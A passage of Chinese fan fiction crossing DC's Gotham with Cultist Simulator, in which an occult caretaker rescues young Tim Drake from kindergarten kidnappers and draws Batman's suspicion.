他特地在“准时”上面加重了声音。
提姆似乎对这个颇为看重。
我弯腰,试探着摸了摸他的脑袋,笃定道:
“我一定会来的。”
哪怕哥谭暴乱,大都会爆炸……等等后面这个还是不要了,我都会风雨无阻来接小孩放学的。
看着这一双蓝眼睛,我想了想,又道:
“以‘飞蛾’的名义起誓。”
小孩疑惑地看了我一眼,似乎在疑惑为什么要向飞蛾起誓。然而,这已经是我能给出的最高的誓言了。
虽然我上司现在半死不活,也可能已经驾鹤西去,但是总归还是我的顶头上司,向祂发誓是我最大的诚意。
时间不等人。
怀揣着满肚子疑问的鸭鸭小侦探只好暂且放下这个疑问,紧急朝我挥了挥手,就跑了进去。
而我的视线一直追随着他的背影,一直到彻底望不见。
……我也该去做我该做的事情了。
汽车发动,车上的飞蛾装饰在此刻扑闪着翅膀,轻盈地在各处翻动,发出“嗡嗡”的轻鸣。
“乖孩子。”
我摸了摸一只飞蛾,看着它扇动翅膀飞了出去。
街上风平浪静,人们如同蚁群般交织,而后分离。
一股莫名的预感让我总觉得这样的平静很容易被打破,尤其是在哥谭。
希望只是我多想了。
……
道格拉斯选的地方是家平平无奇的咖啡店,地理位置很好,处在热闹繁华的商圈附近,人流量很大。
正如我先前所说,今天天气不错,街上到处人来人往,或多或少能遇见脸上挂着微笑的人。
除了刚刚有个莫名的人一边笑着一边撞了我一下以外,没有任何问题。
一进入店内,就听见有人在招呼我:
“你来了。”
一个标准英伦绅士打扮,留着两撇漂亮小胡子的男人敲了敲烟斗,话语里带着点倦意,对我开口。
我坐到了他对面,招呼服务员点了两杯咖啡,两个人倒也真这么其乐融融地对坐闲谈了起来。
简直不像是警探和前通缉犯,倒有点像是相识多年的朋友。
“或许当初我不该开那个玩笑。”
道格拉斯抖了抖手中的报纸,把它递给了我。
那上面大抵是用无形之术伪装过,在旁人眼里,可能只是哥谭日常的花边小报,可在内行人眼里,却是一个个惊心动魄的案子。
“杯道路长生者聚众impart,已有多人被啃噬……”
“铸道路长生者悲愤呐喊,既然被迫返凡了,能不能把他的头发还回来!”
“最近墓园发生了多起尸体失窃事件,疑似为冬道路长生者所为”
我:……
“大家的生活还真是精彩。”
我把报纸还了回去,脸上依旧带着无懈可击的笑容。
本来我还有点扭断了小混混胳膊的心虚,看完这些报道,那我是一点愧疚之情都没有了。
我只是惩恶扬善了一下,没有绑架无辜群众,没有当虾仁饭,更没有把人送进橱柜玩点只能隔着栏杆无力逃脱的小游戏。
这么一看,我真是最老实的。
“有一些事情,你和我想必都知晓。我也不拐弯抹角,说开对你对我都好。”
最近防剿局的监牢已经快蹲满了,各家信徒你来我往,比村东口的菜市场还热闹。有的时候,道格拉斯都在想,他们这儿到底是防剿局,还是什么交流学习大会。
他已经忙得好几天没有睡好觉了。
结果刚结束一场抓捕,一份情报又递到了他手里。
道格拉斯翻开一看,看着照片上黑发灰瞳的女人,瞬间沉默。
老熟人了。
抓了十几年他都没抓到对方,不知道还以为在玩什么猫和老鼠的小游戏。到最后他对于抓到对方都不抱什么期望了,反而能和对方停下来闲扯几句。
普莉希拉飞升成长生之后,他们还在图书馆见过一面。那个时候道格拉斯甚至有闲心和她开玩笑,说现在是抓捕你的好时候,但凡人的法律并不适用于长生者,恐怕有一天你返凡了,才能对你进行抓捕。
说什么来什么。
道格拉斯疲惫地捏了捏眉心,看着对面没有什么波动的普莉希拉,不禁皱了皱眉。
“没什么要交代的?”
他并不担心和对方的交谈会泄露出去。
蛾是迷幻变化,善于隐藏的象征,只要普莉希拉不乐意,恐怕没有人能得知她的故事。
并且蛾也擅长编织谎言,哦,他们甚至可以骗过自己。
同普莉希拉周旋了这么多年,道格拉斯深知只要普莉希拉愿意,谎言信手拈来,没有人会觉得那是虚假的,所有人都会认为那是真实的一切,毕竟……
你看故事的讲述者,是多么真诚。
“没什么好说的,道格拉斯先生。”
我搅了搅咖啡,不慌不忙地勾起一个微笑:
“您大可以去调查,我来到哥谭时发生的所有事情。”
“在这里,我做过最出格的一件事,无非就是扭断了一个想要抢劫我的混混——我想,防剿局的条律还没有严苛到这个地步吧?”
我摆出一个完美的笑容,真诚道:
“虽然您可能不大相信,但我现在确实已经金盆洗手了。”
“……你不做教主了?”
道格拉斯有些疑惑。
当年那个打十几份工连夜写论文看书,只为了飞升的小姑娘,现在说她金盆洗手了?
“普莉斯,你确定你没有因为太阳战争,而导致了某些疾病吧?”
我沉默了。
何意味?
我干这个的时候,你说这违法乱纪这不能干,我说我金盆洗手的时候,你又说我有病……
何意味!!!
我皱了皱眉,还没说些什么,忽然顿住了。
耳旁的嗡鸣一下子急切起来,整个世界似乎都要坠入一片迷幻的光晕,飞蛾翅膀上通体斑驳的纹路迷惑着,让人分不清自己此刻到底身在何地
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。又或者,整个世界都要被拖入谎言。
在最后关头,我控制住了这过激的危机反应。
看着我的表现,道格拉斯似乎也意识到了什么,在我伸出手拉着他,飞快地往地上一趴的时候,没有任何反抗,甚至十分配合。
就在我们刚刚趴下的后一秒,一阵巨大的响声炸开!
“嘭!!!”
……发生什么了?
巨大的爆炸冲击让咖啡店的玻璃全部碎掉,我把道格拉斯护在身后,警惕地观察着四周。
那些碎片亦或是爆炸余波给我造成了点小伤,问题不大,主要是现在是怎么回事?又有谁家反派出来了?
麻烦。
我还要去接提姆放学。
唯独这件事情,绝对不可以失约。
我想事情的时候太过专注,以至于错过了道格拉斯若有所思的眼神。
在一群暴徒冲进咖啡店□□烧之后,并威胁咖啡店的人质们之后,我皱了皱眉,起身把那些暴徒全部撂倒——
这并不困难。
我熟练地掰断他们的胳膊,卸掉他们的膝盖,整个流程速度极快,简直就像是在哪个刺客基地培训过一样。
唯一的难点是,我害怕自己力气过大,容易让他们的脑子像西瓜一样破掉。
所幸这种遗憾的事没有发生,因此我大抵还是来得及去接孩子的,而不是被蝙蝠侠和GCPD请去喝茶。
我冷着脸,把他们捆到一起,打了个无法挣脱的死结。
“你变了很多。”
我擦手扫尾的动作一顿,扭头看向道格拉斯。
其他顾客早就在我动手的时候,就被我迷惑了记忆,此刻都一脸茫然地坐在原地,除非有人把他们唤醒,否则他们将一直保持这个状态。
道格拉斯不需要被迷惑,我们熟悉对方,况且他也是“那个世界”里的人,没有什么好掩饰的。
“是吗,我不感觉。”
我褪去了脸上完美的笑容,神色冷淡地看着在场的一切。而道格拉斯看着我,笃定道:
“你学会保护别人了。”
“甚至于,你没有杀人。”
我顿了顿,不明白这算什么原因。
道格拉斯倒是没再继续解释下去,总不能说他觉得因为普莉希拉的这些动作,感觉对方拟人了不少吧——从游离世界于规则之外的长生者,到会保护人,会遵守某些规则的凡人,这之间的差距,是肉眼可见的社会化大成功。
哥谭这么能提高人的社会化程度?
他忍不住想。
要不是还有理智,道格拉斯简直都要把那些前长生者现凡人们送来这儿接受下教育了。
“……不懂你们防剿局。”
我看着手表上的时间,也没管在谈笑之间,道格拉斯自己给自己脑补了什么,以至于我的三张邪名全消。
但我知道,我该去接孩子放学了。
也许是咖啡店的爆炸给我带来了心理压力,也有可能是周遭看似平静的人群实则混着不知道多少反派。
在驱车前往幼儿园的路上,我的心越来越慌。
直到被拦在外围,看着警察们忙碌的身影时,这份紧张达到了顶点——
恐惧成真了。
6. 一桩绑架
“发生什么事了?”
我伸出手,拉过一个路人,语气状似平静地问。
对方原本不耐烦地扭过了头,却在看见我的那一刻惊讶地瞪大了眼,迟疑道:
“你身上……”
我没有理会他的疑问,只是再问了一句:
“这里,发生什么了?”
到这的时候,我已经有些控制不住自己的语气了,但愿这飘忽的一切不会吓到其他人。可话又说回来,现在幼儿园这个情况,怎么看都不是什么好兆头。
路人的眼神在听到我语气变化的一瞬间犀利了起来,他似乎是想通了什么,谨慎地退了几步,语速飞快地输出道:
“不是什么大事就是有一批暴乱分子忽然在各处搞了大爆炸还挟持了一整个幼儿园的孩子作为人质不过你也知道这种事情多常见蝙蝠侠很快就会来的。”
说完这一大段话,他甚至不带丝毫气喘,飞快地融入人群,消失在了我的眼前。
很可怕吗?
无所谓了。
我的思绪愈发迷幻轻盈,四周的一切都在嗡嗡作响。
他们必须付出代价。
我拐进无人的小巷子里,手指已经点到了那代表着信徒的卡牌上——虽然接下来很可能再刷出好几张邪名,但是无所谓了,大不了多画几张画产秘氛迷惑警探,反正拖够一定时间,邪名自会退去。
在这个庞大的世界里,一件事情哪怕再轰动,但不过短短几个月,甚至不需要几个月,就会如同一滴水落入海洋,自此无影无踪。
我擅长这个。
真是抱歉了,道格拉斯警探。
今天我就要重操旧业。
用卡牌和信徒联系是非常玄妙的一件事,他们的一切对你都是完全开放的。
你的声音能直接在他们脑海里响起,他们的生平履历在你眼中一清二楚,你可以用一种更高的视角渗入他们的日常生活,可他们对你却一无所知。
有这些手段的时候,人很容易迷失。
隔壁教会就有好几个被自己培养的使徒背刺当了垫子的惨案,所幸我的手段一直很温和,至少我相信,我和我的信徒们关系都不错。
让我想想……暴徒……隐秘……
我点开了两张卡牌——
“好姑娘们,这儿有件小事,要拜托你们了。”
两张卡牌上,分别画着两个不同的姑娘:
一个狡黠活泼,一个忧郁怅惘。
一把利刃,一只飞蛾……
足够了。
我手中的飞蛾断断续续地向我传递如今的情况——
这批暴徒分成了两批,分别看押一部分孩子。
能来这儿上学的小孩非富即贵,他们要的赎金也是一笔天价数字。基于这一点,他们还得小心点小孩,磕着碰着了,不仅钱到不了手,事情还会往不可预料的方向发展。
也就是说,现在孩子们是安全的。
至少现在是。
我不满意这个答案。
世界在我眼前愈发轻盈,我轻轻拍了拍飞蛾,身体在一瞬间膨胀扭曲,又渐渐缩小,最后变成了一只毒蛇。
这是每位蛾道路者最初的,也是最低等级的变幻形态——它或许不够强大,但足够灵活不起眼。
没人会在意下水道和通风管道里的小小毒蛇。而我只需潜入,只需找到位置……
然后,我将……
脑海中的嗡鸣声渐渐弱了,一股足以动摇灵魂的振响随之而来——它带来了快意,带了危机,但我熟悉这个,我喜欢这个。
我这么想着,吐着信子,潜入了幼儿园里。
我会让那群暴徒付出代价的。
作为他们绑架孩童的代价。
……
提姆不知道时间过去了多久。
他只是沉默地待在角落里,尽可能不让那群暴徒注意到他。
乱套了,一切都乱套了。
他本来想让普莉希拉给他做黑莓脆皮饼来着……下午放学的时间足够早,他们还可以一起在厨房里忙活。
提姆没有过几次和家长一起做这种……嗯…家庭活动一样的有趣经历,但他知道,他应该会和普莉希拉相处的很快。
而且他这次的成绩单很不错,所有科目都是很漂亮的一个数字——珍妮特和杰克总是很忙,他们也不大会有时间去听一个孩子并不起眼的成就。
但提姆想和普莉希拉分享这个,可能这么说有点幼稚……但,但这是出于一种……小孩子的直觉?
他期待从普莉希拉那得到些反应。
可本来好端端的一切,莫名其妙坏起来了。
他讨厌这些暴徒。
提姆把脸埋进自己怀里,尽可能做到镇定。但中午的爆炸和子弹击中人体的画面一幕幕在他眼前闪回,让他的内心不可避免地升起恐慌。
早上的早餐早就被消化了,空空如也的胃部此刻疲弱地发出抗议,可惜的是,只有酸水在回应它的声音。
提姆忽然觉得自己眼睛有点酸涩。
不,提姆,你可以的,你可以做到这个。你已经是五岁的小孩了,你要成熟,你要做到乖巧不添麻烦,不让人担心。
他一遍遍给自己鼓着气,努力维持着镇定,可一旁孩子突如其来的啜泣声,在短短一瞬间内就击溃了他的故作坚强。
提姆承认,他有点想普莉希拉了。
哪怕他们还没认识多久。
可普莉希拉身上总是有让人安心的能力。
一些话语在他脑子里一闪而过,提姆下意识喃喃出声。
“普莉希拉……”
灯忽然黑了。
此刻已经临近傍晚,整个哥谭都在坠入另一面的海洋,天边的残阳如血是最后的祷告,在这间屋子里,如果不开灯,整个室内都会陷入一种浓稠的黑暗中。
“电力系统出问题了?”
在屋子里的人,似乎是这群暴徒的领导,装备最为精良顶尖。
面对突如其来的意外,他没有任何波动,拨了两个人去探查情况,让守在门口的人更注意点,怕是什么解救人质的手段。
做完这些,他下意识地甩了甩脑袋,有些烦躁地揉了揉眉心。
这件事情本来不需要多少时间。
可那两个人到现在还没有回来。
屋内的黑暗仍在无声无息蔓延滋长,窗外最后一缕金黄色的余晖也被地平线吞噬,整个屋子黑到有些可怕。
一种寂然的恐慌在此刻蔓延,这一次,甚至没有他们厌烦的,孩童们稀稀拉拉的哭泣声,仿佛整个世界都只剩下了他们。
领头的又摇了摇脑袋,这一次,他还没来得及说什么,就听见他的一个下属恐惧地发问:
“头儿……你有没有,听到什么声音?”
声音,当然……
脑海中的嗡鸣声越
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来越急切,似乎所有人都感知到了有什么东西在暗处扑展双翅,又有什么东西亟待着破茧而出,羽化成……
成什么?
“咔嚓,咔嚓。”
有摆弄剪刀的声音响起。
“咔嚓,咔嚓……”
是谁在剪断发丝?
“咔嚓,咔嚓,咔嚓……”
那剪刀,真的是剪断发丝用的吗?
领头的还没说出什么,就听见下属们发出了此起彼伏的尖叫声:
“你的头发!!!”
“你的脸!!!”
“holy sh*t!!!哪来这么多飞蛾!!!”
“头儿,头儿,你怎么……!”
这个时候,有人突兀发现,领头者已经沉默了很久。联想到这一系列怪异景象,他咽了咽口水,小心翼翼上前,轻轻拍了拍对方——没有反应。
终于,他鼓起勇气,猛地把对方转过来!
……
飞蛾,飞蛾,飞蛾。
到处都是飞蛾。
领头者的脸上爬满了密密麻麻的飞蛾,他的头发长到了一种可怖的地步,甚至还在地上斑驳扭动。
等等,那好像,不是头发。
是……虫子?
在他的尖叫要脱口而出的一瞬间,他的喉咙忽然感觉到了一阵堵塞。有什么东西在其中蠕动,吞没了他所有的声音。
“哒,哒,哒。”
突兀的高跟鞋声响起,有人在粘稠一片的黑暗里,轻飘开口:
“*何处觅仁慈?”
——仅在影中。
他当然说不出答案。
而来者也无所谓他的答案。
在喉咙的不适感达到顶峰时,他的意识斑驳一片,没入了漫宿向下的阶梯。
那儿是死亡永恒的怀抱。
……
提姆觉得那些暴徒不对劲。
他们分明站在原地,却没有了刚刚严阵以待的模样,就好像是陷入了另一个世界,整个人都放空无比,游离在了一切之外。
就在他疑惑的时候,他们忽然动了起来。
为首的那个,一直在不停地甩着脑袋,似乎脑子里有什么东西正在嗡嗡作响。
他本想再观察仔细一些,可屋内的灯忽然熄灭了。
然后,然后发生了什么?
一股莫名其妙的迷惑和困意席卷了他,想让他停下高速运转的脑袋,坠入梦境的怀抱。
提姆不愿意。
可一阵香气忽然袭来,带了点花香,应该是茉莉,还有些橘子的轻盈味道……总之,这让他感到很安心。
于是他不再挣扎,闭上了眼。
睡一会儿吧,说不定睡醒之后,普莉希拉就在他身边了。
……
“发生了什么?”
罗宾疑惑发问。
而蝙蝠侠看着满地的暴徒尸体,沉默良久,方才开口:
“一刀致命,没有多余的举动。动手的人受过这方面的训练,武器也许是匕首,又或者小刀。”
“这听起来简直就像是什么刺客的配备。”
罗宾吐槽了一句,帮忙检查那些暴徒尸体。而在他搜寻的期间,蝙蝠侠又开口道:
“来人不是单独行动。”
“所有电子设备全部失灵了。”
一切的一切,都只有窸窸窣窣的声响,除此以外,别无他物。
7. 一个意外
提姆醒来的时候,入眼是洁白无比的天花板。医院的消毒水味在他鼻尖萦绕,像个挥之不去的噩梦。
他下意识动了动手。
于是有人回神,抬起头,温声道:
“提摩西少爷,您现在感觉如何?”
提姆原本警惕的心一下子软化,他就像是出门被人欺负,警惕了一路,终于是回到家能“咪咪喵喵”告状的小猫一样,松懈了神经。
——他扭过了头。
结果差点没吓一跳!
普莉希拉的情况看上去比他这个被绑架的人质看上去还糟……不,简直称得上一句糟透了!!!
她的脸上,身上,都有着大大小小的伤口,虽然经过了包扎,但也让她的伤口在视觉上显得更恐怖了一些。
提姆现在没被吓到尖叫出声都是他心理素质好。
“普莉希拉……发生什么了?”
他原本安下去的心一下子又紧张起来。
“一点小意外,提摩西少爷。”
普莉希拉跟着他的视线,似乎意识到了什么,语气很温和地开口:
“看上去很恐怖,实际上已经没有什么事了。”
区区爆炸而已。
提姆蹙起了眉头。
他应当是想要做出严肃的表情,可囿于他的年纪,有他来做出这个动作的时候,可以说简直可爱的过分。
小小的,还未长成的小鸟不满道:
“普莉希拉,你又在撒谎。”
“我看得出来。”
普莉希拉看着他,神情有些游离走神,这不对劲,可在提姆说话时,她又总能及时应答。
“我很抱歉,提摩西少爷。”
“只是一次爆炸,那些暴徒在街上也安放了炸弹。不过我躲避及时,并没有什么大事。”
……爆炸也算没有大事吗?
提姆这下是真要尖叫了。
但他没有。
他只是问了句:
“普莉希拉,你为什么要对我抱歉?”
在听到他的这个疑问时,一直表现得像是游离在这个世界之外的普莉希拉抬起了眼,慢慢道:
“因为我没有及时赶来。”
提姆有些疑惑:
“你只是个普通人,普莉希拉。”
小小的孩子看着她,眼里没有责怪也没有不满,他说:
“那个情况下,你能保证自己的安全,就足够厉害了。”
我没有说话。
提姆不知道的。
如果我今天没有去见道格拉斯,又或者在最开始就察觉不对,我就能更早一点赶到提姆身边,保护他,救下他。而不是让他在恐惧里,自己捱过那几个小时。
我本可以,我本可以做到的。
我这么说出口。
“我本应当在您身边保护您。”
“您还是个孩子……这么漫长的一瞬间,您独自度过……实在是一件非常,非常了不起的事情。”
你是很棒的小孩。
我这么想。
但偶尔,你如果能稍稍依赖一点旁人,就好了。
你不必独自度过,独自承受这一切。
提姆愣住了。
他似乎很少被人用这样直白的话语关怀过,又或者曾经是有的,但随着父母越来越繁忙的工作,那些幸福就像是他曾经做的一次美好梦境,很快就消失得无影无踪。
他几乎要以为那是错觉了。
可此刻,普莉希拉看着他,那种熟悉的幸福感又一次充盈了他的心。那些独自蜷在角落时积累的委屈,一点点湿润了他的眼眶。
普莉希拉没有责骂他,没有呵斥他,她只是凑近,给了他一个大大的拥抱。
提姆闻到了她身上轻盈的香水气息。
于是他没忍住,哭的更凶了。
“没事了,我在这呢……辛苦你了,你已经很棒了,提摩西少爷……”
普莉希拉拍着他的背,把他当成小孩子一样哄。
他想像从前一样做出一副大人模样来,但事实上,他本来就是个小孩子。
所以偶尔,不按照爸爸妈妈的话,当个大人,当个大孩子,也是可以的吧?
等到内心汹涌的海潮平息,提姆有些不好意思地看向普莉希拉,小声道:
“你可以喊我提姆……普莉希拉。”
小孩子的眼眸亮亮的,有些腼腆,但他已经交付了自己的一份信任,并期待着这份信任能够得到回应。
“提姆少爷。”
我从善如流改口,看着因听到想要的称呼而露出笑容的提姆,那些轻飘飘的一切终于落了地。
“那,我可以喊你什么吗?”
“就是比如,更亲密一些的昵称?”
似乎终于确认了什么,原本有些警惕的小鸟舒服地抖抖羽毛,很得意地往前迈了一步,似乎在打量哪儿可以作为他的小鸟窝。
“普莉斯。”
我微笑着眨眨眼,带了点俏皮:
“和please很像,对吧?”
……其实这是我的中文烂梗,但是现在估计没多少人能理解。
我在心里有些忧伤地叹了口气。
虽然昨日已然遥远,不过偶尔想起来,我也确实会感到一种莫名的怅惘。
提姆也眨了眨眼,笑着道:
“普莉斯!”
他将这个作为交换某种友谊亦或者亲情的象征,小小的孩子似乎终于从恐惧中回过了神,小声和我讲起了原本他的计划和安排。
“恐怕今天晚上是吃不了了,明天我再给您做,怎么样?”
“不过今晚我可以给您做点别的……嗯……您对中餐感兴趣么?”
一大一小的声音在病房里飘着,小小的,低低的,像是轻盈的音符,看上去就足够温馨。
“叩叩。”
有人敲响了门。
“老实说,我们真的要打扰这么温馨的场景吗?”
罗宾的声音在他佩戴的微型耳戴式通讯器里响起,带着点吐槽意味。
自从他上次在蝙蝠洞表演杂技,一不小心砸到了恐龙骨架,让后者重伤,自己也伤得不轻之后,他就被迫停了和蝙蝠侠一起出动的任务,和阿尔弗雷德一起在后方辅助。
“照理来讲不可能失误的……但那天晚上……就是莫名的……我没站稳……”
罗宾到现在还对自己那天晚上的失误念念不忘——因为那本不该发生的!他从小就在做那些高难度动作,没道理会在那失误!!!
“也许是因为哥谭最近多出的……那些奇奇怪怪的产业和人……”
他咕哝着,而布鲁斯敲响了门,用甜蜜而浪荡的笑容看向普莉希拉·林。
“老实说,我还是不明白你为什么那么怀疑普莉希拉·林?就因为那天晚上监控的出错?和这次监控出现问题的联想?”
“这正是我要求证的。”
“罗宾,仔细查看所有通讯设备是否出错。”
他
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一边快速和罗宾说了这么一句,一边和普莉希拉握了握手。
这一次绑架案以暴徒们的齐齐死去蝙蝠侠赶到现场解救孩子们的结局作为结尾。
可哪怕再及时,这些孩子也受了极大惊吓,需要在医院观察一段时间,更遑论那些在爆炸里受伤的人。
当然,一切消费依旧由韦恩医疗报销。
这就是他出现在这儿的原因。
布鲁斯·韦恩露出哥谭宝贝的招牌笑容,很少有人能在这种情况下抵抗住诱惑。可普莉希拉·林没有任何反应,她就像每一个平平无奇的受害者一样,在被救后向布鲁斯表达了感激。
她的话语发自真心。
至少布鲁斯没有从她身上看出说谎的痕迹。
此时,迪克的声音也在他耳边响起,罗宾黑进监控花了点时间,毕竟他不是专职电脑。
而后,他又快又急道:
“没有出现问题,布鲁斯。”
“所有电子设备全都在正常运行,医院监控也都显示正常。”
没有奇怪的嗡鸣,没有诡异的留白。
布鲁斯明白了迪克的言下之意。
但这不代表他对普莉希拉的怀疑就会减弱。
布鲁斯又关怀了提姆几句,随后轻佻地一眨眼,表明自己还要继续看看病人们,就不多留了。
普莉希拉送他到了房门口,哪怕只有短短几步。
由此可见,她确实受过礼仪教育,无论是哪个身份。
……
我总算知道我的那三张邪名是怎么来的了。
是蝙蝠侠啊!!!蝙蝠侠给我发的牌!!!
看着蝙蝠侠卡牌上那一大串的后缀,我头疼地闭上了眼睛。
就刚刚这么几句对话,他就又给我发了一张邪名……而且……
意志坚定,不易被迷惑,直觉敏锐,花花公子,伪装大师,格斗达人,哥谭最佳哄睡专家,姑获鸟哥谭分鸟……
这儿站不下那么多人。
还有……
我看着模拟器上突然出现的东西,眼神有点死掉了。
“一枚高科技窃听器,蝙蝠侠挚爱的小玩意,或许在哥谭里,能卖出不错的价钱。
他们恐惧蝙蝠,他们依赖蝙蝠,哥谭是什么?或许他们心中自有回答。”
我叹了口气,摸了摸提姆的脑袋。
还好我刚才在他一进来,就火速收起了身上蛾的影响。
自从飞升成长生者之后,某一方面的特性就会被扩大。蛾是变化迷惑的准则,会干扰人的感官,模糊人的记忆……这么说吧,一旦有东西能记录下我的身影,它都会在一定程度上被干扰。
还是我那天不够谨慎。
刚返凡,重拾业务不大熟练。
早知道那天晚上要么不收敛影响,开到最大,要么直接不用……卡中间了……这下麻烦了。
又或者那天我应该直接把痕迹收拾了。
啧,人有的时候过得太舒坦了,会忘记以前的老本行。
这一点我得反思然后改进。
正当我思绪飘飞时,护士走了进来,告诉我们没事之后,就可以离开医院了。
于是我不再想那些,带着提姆火速驱车离开了这里。
再不跑等着蝙蝠侠再给我发几张邪名吗?我短期内可没有再见道格拉斯的打算!
至于那枚窃听器……
我待会儿给它收好吧。
要是直接弄碎,恐怕我也就暴露了。
8. 一次行动
“普莉斯——”
提姆喊着我的名字。
“我们今晚可以一起看电影吗?”
他这么请求着。
从医院回来,吃过晚饭之后,时间竟然还早,幼儿园刚出了那么大的事情,自然要放几天假——也就是说,提姆刚回去上学的第一天,学校歇菜了。
不过,这么大的事,孩子当然应该好好休息休息。
如果担心孩子的学习进度,我可以去薅几个灯道路的信徒。他们个个都爱读书,知识面范围也很广。毕竟在读书这方面,应该也没有多少人能超过灯的。
只是……
我看着手里毫无回应的电话,想了想,还是给珍妮特他们再发了一封邮件。
也许是又考古到什么人烟稀少的地带了吧,没有信号也是常态。
我思绪电转间,也没忘记回应提姆:
“当然可以,提姆少爷。”
我拿着毯子,走到他身边,轻声道:
“不过我猜,您或许还需要一条毯子?”
提姆接过毛毯,把自己裹了进去,又试图把它往我身上扒拉。
我想了想,将毯子的一小角盖到了身上,提姆又往着我这凑了凑,紧紧与我挨在了一起。
热腾腾,暖乎乎,像只小猫一样和我依偎在一起,在这个夜里,带来了足够滚烫的暖意。
“您想看什么?”
我调着频道。
“普莉斯有什么推荐的吗?”
提姆看着我,小小声道。
“辛普森一家,如何?”
我没忍住,摸了摸他的脑袋,笑着问。
“当然!”
“哦,我是说,这个真的很有意思!”
很高兴的小鸭子专注地看着屏幕,我一边看着屏幕,一边分神想着今晚的行动。
是的,今晚我打算出门一趟。
萝丝用了点小手段,从对方口中撬出了一点情报。
搞出这么大的阵仗,他们也不是一般的暴徒。
让我想想,爆炸,硝烟,恐惧……这大场面的表现总让我想起一些不大美好的记忆,不过在那之前,我更想知道幕后主使到底是谁。
等我抓到幕后主使……
我会让对方知道,死亡,到底是个多么好的去处。
“普莉斯喜欢什么呢?”
提姆又往我这凑了凑,和小鸭子找妈妈一样挨得更近一点。他试探着问,似乎是想要更多了解一点身边的人:
“嗯……《噤声!》吧。”
我想了想,这么回答。
“是什么样的片子?”
提姆想了半天,没有从记忆里扒拉到这部片子,有点好奇地开口问道。
“是很小众的片子,很久之前,我和我的朋友在外出时看到的。你可能想不到,它还需要用专门的放映机来放呢。”
“不过不怎么好看。”
但是很好用。
看完《噤声!》之后,我得到了一个仪式——
日落仪式。
我曾在欢腾剧院当舞者时,被华美的珠宝与剧院的璀璨灯光所追逐,曼迪勋爵那个时候注目着我,向我遥遥举起了酒杯,递来了凡人无法拒绝的橄榄枝。
嗯哼,他后来想杀死我。当那一捧鲜红的玫瑰递来时,我感知到了曼迪勋爵话语中的谎言——他并不是要向我求婚,倒不如说,因为我符合了什么条件,很适合作为某些“献祭”。
不过没关系,我在他杀死我前先动手了。
日落仪式,很好的仪式,只需要集齐材料,带上助手,就能神不知鬼不觉地杀死一位勋爵。
结尾凄美……
后来我继承了他的一大笔遗产,这对我无形之术的研究有了巨大的资金保障。所以,直到现在,我也挺感谢对方的。
“普莉斯的朋友,是什么样的?”
小孩显然对《噤声!》也很感兴趣,但是他是个很有分寸的孩子。或许在很久以前,珍妮特和杰克特地教导过这一方面。他太过早熟,很多孩子该有的某些特质被刻意压制。
不过,偶尔还是能看出提姆欢快小鸟一样的本质。
对世界的好奇,对一切事物的疑问,他追逐着这个世界的本质,他会剥开表皮,抵达世界的真相。
要不是现在实在不太合适,各个司辰打太阳战争打到除名的除名,状态不明的状态不明,我还真想把我卧室里的那一堆书给提姆看看。
他足够聪明,也足够热忱。如果真的走上这条道路,他或许会迈步走向灯,感受守夜人的辉光?又或者是心?轰雷之皮应当会格外偏爱他这样的孩子。
我的脑子里又迅速划过了好几个世界的离奇剧情,忽然觉得如果提姆愿意,或许这些道路他都可以走一遍。
最后……洞开一切。
不过如果可以,还是不要走上蛾这条道路吧。
正如同一旦自己干过这个工作,就不会向别人推荐这份工作一样。提姆和蛾的相性,总让我想到一些不大好的剧情。
比如不好好在游乐园待着,在阿卡姆进修的某位白脸神秘绿发男。
“我的朋友,如果有机会的话,你会见到她的。”
这话不假。
她现在应该还在大都会旅游呢,虽然前段时间说了要过来,但谁也不知道她会什么时候来,又什么时候走。
——毕竟她是一名占卜师嘛。
专不专业另说。
“她叫阿黛尔,是个占卜师。目前在旅行之中,或许哪一天她会到哥谭来,至于她是个什么样的人……”
精通邪恶魔法和擅长抽武器打人的,能是什么善茬。
说到这,我看了看闹钟的时间,想到晚上的夜间活动,于是看向提姆,温声道:
“时候不早了,我想您应当上床睡觉了。如果您对我的故事感兴趣的话……明天晚上我们可以聊一聊,如果您愿意的话?”
提姆原本暗下去的眼神猛地亮起来,像是知道自己没有被拒绝,没有被忽视,于是喜悦到,如果有耳朵的话,应该是丝滑从飞机耳变成立耳了。
他裹着毯子,“哒哒哒”跑上楼,却忍不住在楼梯上回头,小声道:
“我当然愿意,普莉斯。”
“你保证会说给我听?”
“我保证,亲爱的提姆少爷。”
我从不会将谎言诉诸于你,我会一直对你坦诚。
于是提姆腼腆地笑了,头发被毯子裹得有些乱,蓬蓬的,像是小猫凌乱的毛。我注视着他上楼去,在听到他彻底回到房间之后,这才把思绪收了回来。
如果提姆不提的话,我确实不常想到阿黛尔。
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但,无论在什么地方,她都是我的好朋友。
说起来,其实我们俩会掉到这里,也颇有戏剧性。
我将蛾的影响扩到最大,漫不经心地披上一件黑袍。
阿黛尔在读书的时候就对占卜很感兴趣,只不过她那个时候主要负责占卜感情,因为能说会道,也攒下了一小波粉丝。
而我那个时候在犹豫要不要米椒的买DLC……因为据说很父辞子笑,所以我对此颇感兴趣。
最后抵挡不住诱惑,我买了。
……然后我家半挂创过来了。
得意的小猫得意地打翻了水杯,然后不得意的我和小猫一起被电脑双杀,就这样送到了异世界。
至于你说它现在在哪……
猫的寿命只有十几年,它已经陪伴我很久了,久到我每次觉得自己就要是正宗老伦敦正黄旗的时候,它都会用漂亮的蓝色眼睛告诉我,我还有一个,只存在心里的来处。
它叫麻薯,是只很爱吃很爱闹的白色布偶,距离它死去,也已经过了十几年。
发现阿黛尔也掉到这个世界来了,纯属意外。
我一边用无形之术将整个德雷克大宅各处防护完毕,一边化身成猫,跃入哥谭沉沉的夜色。
在我飞升前的前几年……大概是那个时间?我的模拟器里,忽然出现了一个“聊天”功能。
而打开聊天功能之后,并不熟悉的声音带着熟悉的语调,传入我的耳中:
“亲爱的——真的是你!!!”
那一瞬间,我以为我打牌打出幻觉了。
我们寻思交换了情报,确认她只是睡了一觉就莫名其妙掉到了浪漫之都,开局就是homeless,现在努力了好几年,终于点亮所有技能,成功财富自由。
“我现在已经是大名鼎鼎的占卜师了。”
“至于灵不灵你别管。”
她这么总结。
我们两个在穿越前的家庭都不怎么美妙,加上阿黛尔的性格本就洒脱乐观,因此我们两个也没有什么回去的想法,反而在这个世界安了家。
更何况,能确认自己的好朋友仍然在身边,也足够让我消弭对这个世界的陌生和迷茫。
我收回思绪,舔了舔爪子,看向靠在墙边的萝丝,静默坐着的伊莎贝特,以及在阴影里静默等待着的埃尔里奇。
“您来了!”
萝丝快活地开口,漂亮又狡黠,像行走在暗夜里的一只黑猫,很少有人能看出她是个精通于暗杀一道的行家。
萝丝一直是个好姑娘。
